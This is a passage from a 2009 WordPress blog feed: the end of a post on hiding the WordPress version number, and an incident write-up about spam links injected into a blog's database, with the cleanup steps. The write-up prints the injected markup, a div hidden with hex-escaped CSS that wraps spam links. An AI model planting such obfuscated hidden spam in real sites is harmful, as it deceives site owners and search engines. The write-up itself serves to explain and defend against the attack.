<p>Now for the fun part. Assuming that sharing your version information is bad, how to go about removing the information? Well, that depends on how savvy you are with WordPress. Here are several methods to prevent WordPress from displaying your version-specific number, ranked in order from the absolute <em>worst</em> way to the absolute <em>right</em> way. That is, until someone shows us how to do it in <em>less</em> than 41 characters&nbsp;;)</p>
<h3>The absolute worst way to remove the WordPress version number</h3>
<p>I have seen <em>recent</em> posts where the author actually recommends <em>deleting</em> the <code>wp_head()</code> hook! Here is an example:</p>
<blockquote><p><em>Study what things this function outputs for you, and just hardcode them into your theme files since these values will unlikely change.</em></p></blockquote>
<p>While there are indeed valid reasons for removing this important WordPress hook, removing the version number from your source code is <em>not</em> one of them.</p>
<h3>A pretty good way to remove the WordPress version number</h3>
<p>Much better than simply deleting the <code>wp_head()</code> hook, this method serves us well by placing the version-removal function in the theme&rsquo;s <code>functions.php</code> file, where it belongs. By returning an empty string for <code>the_generator</code> function, this function removes the version information by preventing output of its <code>&lt;meta&gt;</code> tag:</p>
<pre><code>function remove_version_info() {
     return '';
}
add_filter('the_generator', 'remove_version_info');</code></pre>
<p>This method has the added bonus of removing the version information from not only your blog pages, but from your feeds as well.</p>
<h3>The right way to remove the WordPress version number</h3>
<p>Going a step beyond the previous method, this technique gets the job done quite eloquently, with a mere 41 characters of code:</p>
<pre><code>remove_action('wp_head', 'wp_generator');</code></pre>
<p>Just place that single line into your theme&rsquo;s <code>functions.php</code> and enjoy a small taste of &ldquo;security through obscurity&rdquo;.&nbsp;:)</p>
<p style="border:1px solid #ccc; background: #eee; line-height: 20px; padding: 5px 10px; margin-top: 10px;">Like the article? <a href="http://digwp.com/book"><strong>Get the book!</strong></a></p>
<hr />
<p><small>© 2009 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2009/07/remove-wordpress-version-number/">Permalink</a> | <a href="http://digwp.com/2009/07/remove-wordpress-version-number/#comments">30 comments</a> | Add to
<a href="http://del.icio.us/post?url=http://digwp.com/2009/07/remove-wordpress-version-number/&title=How to Remove the WordPress Version Number (The Right&nbsp;Way)">Delicious</a><br />
Categorized: <a href="http://digwp.com/category/security/" title="View all posts in Security" rel="category tag">Security</a> | Tagged: <a href="http://digwp.com/tag/functions/" rel="tag">functions</a>, <a href="http://digwp.com/tag/header/" rel="tag">header</a>, <a href="http://digwp.com/tag/php/" rel="tag">PHP</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2009/07/remove-wordpress-version-number/feed/</wfw:commentRss>
		<slash:comments>30</slash:comments>
		</item>
		<item>
		<title>Spam Link Injection Hacked (and How I Hopefully Fixed&#160;It)</title>
		<link>http://digwp.com/2009/06/spam-link-injection-hacked/</link>
		<comments>http://digwp.com/2009/06/spam-link-injection-hacked/#comments</comments>
		<pubDate>Tue, 30 Jun 2009 13:16:48 +0000</pubDate>
		<dc:creator>Chris Coyier</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://diggingintowordpress.com/?p=166</guid>
		<description><![CDATA[Just recently my other blog CSS-Tricks was hacked. I first found out by a very helpful reader emailing me a screenshot from the mobile version of my site. The mobile version of my site was built by Mobify, so I contacted them right away. As I should of known, of course Mobify can&#8217;t insert content [...]]]></description>
			<content:encoded><![CDATA[<p>Just recently my other blog <a href="http://css-tricks.com">CSS-Tricks</a> was hacked. I first found out by a very helpful reader emailing me a screenshot from the mobile version of my site.</p>
<p><span id="more-166"></span></p>
<p><img src="http://digwp.com/wp-content/blog-images/spamonmobile.PNG" width="320" height="480" alt="" title="" /></p>
<p>The mobile version of my site was built by <a href="http://mobify.me/">Mobify</a>, so I contacted them right away. As I should of known, of course Mobify can&#8217;t insert content into a site, they only are a presentation layer on top of the already existing content. They were very quick and helpful with their response and sent me some useful links to what the problem might be. </p>
<p>This of course meant that the site itself was hacked. Time is of the essence at this point, because not only do I not want my visitors seeing nasty spam, I don&#8217;t want Google bot to cruise through and see the mess and hurt my SEO. I immediately set out to figure out where these spam links were being inserted from. </p>
<p>I had this happen to me years ago and it turned out the theme files themselves were altered and spam injected that way. I took a look through all of them quickly and didn&#8217;t see anything. I could see from the source on the site that the links were being inserted after the content on each post. I could also see at this point that the links were identical on each post. This seemed like a theme file injection to me, but clearly it wasn&#8217;t.</p>
<p>I popped open the WordPress Admin itself and checked out a post. Low and behold, there the links were, right in the content for each post. I checked out a number of them, new and old, and there were all the same. At this point, there were two possibilities. The Admin was compromised giving someone access in there and the ability to edit posts or the Database itself was compromised.</p>
<p>Due to the speed of the attack, the fact that all the links were the same, and that over 500 Posts/Pages were identically altered, <strong>I concluded it must have been a database attack.</strong></p>
<p>Here is what I did:</p>
<ol>
<li><strong>I changed the Admin username and password.</strong> Just to make sure that the Admin itself was secure, this login and password must be changed. Since you cannot change usernames after they are created, I created a <em>new</em> account with a new password, logged in with that, and deleted the original account, attributing all posts to the new account.</li>
<li><strong>I changed the server admins username and password.</strong> My site is managed by Plesk, which has a login and password to itself. If someone had access to this, they could access the Database. It is unlikely this was compromised, but to cover all the bases, this was changed as well. </li>
<li><strong>The database name, database username, and database password was changed.</strong> Changing the database password might have been enough, but just to be as difficult as possible I changed both the username and the password. The database name was changed later after the cleanup (see below).</li>
<li><strong>I changed the FTP login and password.</strong> If the hacker had this, they could have altered the theme files or opened the wp-config.php file to find the database credentials.</li>
<li><strong>The XMLRPC file was removed.</strong> This file <a href="http://digwp.com/2009/06/xmlrpc-php-security/">is used for</a> pingback and trackbacks as well as remote editing possibilities like posting by email. I literally use none of these things, and this file has been responsible for security problems in the past, so I removed it.</li>
<li><strong>The file permissions where checked.</strong> In particular, I found the wp-config.php file was set at 775, I changed it to 755. I also made sure that none of the file were world writeable except the very few that need to be, like the uploads folder.</li>
</ol>
<h3>What the spam insertion looked like</h3>
<pre><code>&lt;div style=\"\\64\\69\\73\\70\\6c\\61\\79:\\6e\\6f\\6e\\65\"&gt;
&lt;a href=\"http://www.fcit.usf.edu/li/viagra.html\"&gt;viagra&lt;/a&gt;\r\n&lt;a href=\"http://www.fcit.usf.edu/li/free-viagra.html\"&gt;free viagra&lt;/a&gt;\r\n

... lots more ...

&lt;/div&gt;</code></pre>
<p>That &#8220;style&#8221; attribute (inline CSS), when rendered in a typical browser, converted to <code>display: none;</code> and thus were not visible. For whatever reason, when Mobify picked up this content, that weird string of characters wasn&#8217;t converted and thus the div was visible not hidden.</p>
<p>The reason I&#8217;m sure the hackers chose this technique is that the blog owner may never realize the links were inserted because they aren&#8217;t typically visible. I would think that Google doesn&#8217;t give any link credit to links that are in a container with display: none, but perhaps the hacker&#8217;s theory is that the google bot won&#8217;t be able to tell this div is hidden because of the weird code.</p>
<p>I would be interested to know if Google can be duped with this technique. It seems like they would be smart enough to detect it, yet I wouldn&#8217;t be surprised if the site is penalized anyway due to being compromised by spam. </p>
<h3>How I Removed the Links</h3>
<p>Luckily the code that was inserted in every single Post/Page was identical. I downloaded a fresh copy of the Database (as a .SQL file), opened it up in TextMate (any text editor with find/replace will do) and did a find/replace on the block of spammy code (replaced it with nothing). Then I saved a new copy of it and created a new database on the server (hence the change in DB name). I imported the new fixed SQL file and posted WordPress at the new database.</p>
<h3>Crossing My Fingers</h3>
<p>It&#8217;s been a week now, and no more problems. I pray that what I have done has fixed whatever the hole was, but of course I can&#8217;t be 100% certain because I&#8217;m not 100% certain what it was to begin with. Of course, posting all this information surely doesn&#8217;t make me any more secure but oh well. I of course have serious backups going on so the worst thing that can happen is I get hacked again and have to restore from backups and keep plugging holes. </p>
<h3>Consequences</h3>
<p>Although the spam wasn&#8217;t on my site for more than a few hours, someone has pointed out to me that my Google PageRank for the homepage has dropped from a reasonable and healthy PR 6 to ZERO. While PageRank is a very weird thing and it could be any number of things including a random inaccurate report from Google, it seems more likely this is a penalization from them for the spam. Many of my subpages, which get crawled far less frequently, still have their PageRank. It&#8217;s not just the PageRank, many searches that would have brought up the homepage (e.g. my own name) are now far down the SERP pages when they used to be #1. This of course will be seriously affecting my traffic until my PageRank is restored, if it ever is.</p>
<p>CSS-Tricks, is non-trivial portion of my income, and if there is a serious dip in traffic it could certainly affect me financially. I&#8217;m not whining, it just goes to show that <strong>site security is not some abstract nerdy hobby, it&#8217;s serious business</strong> that can have serious consequences.</p>
<p style="border:1px solid #ccc; background: #eee; line-height: 20px; padding: 5px 10px; margin-top: 10px;">Like the article? <a href="http://digwp.com/book"><strong>Get the book!</strong></a></p>
<hr />
<p><small>© 2009 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2009/06/spam-link-injection-hacked/">Permalink</a> | <a href="http://digwp.com/2009/06/spam-link-injection-hacked/#comments">29 comments</a> | Add to
<a href="http://del.icio.us/post?url=http://digwp.com/2009/06/spam-link-injection-hacked/&title=Spam Link Injection Hacked (and How I Hopefully Fixed&nbsp;It)">Delicious</a><br />
Categorized: <a href="http://digwp.com/category/security/" title="View all posts in Security" rel="category tag">Security</a> | Tagged: <a href="http://digwp.com/tag/database/" rel="tag">database</a>, <a href="http://digwp.com/tag/hacking/" rel="tag">hacking</a>, <a href="http://digwp.com/tag/spam/" rel="tag">spam</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2009/06/spam-link-injection-hacked/feed/</wfw:commentRss>
		<slash:comments>29</slash:comments>
		</item>
	</channel>
</rss>
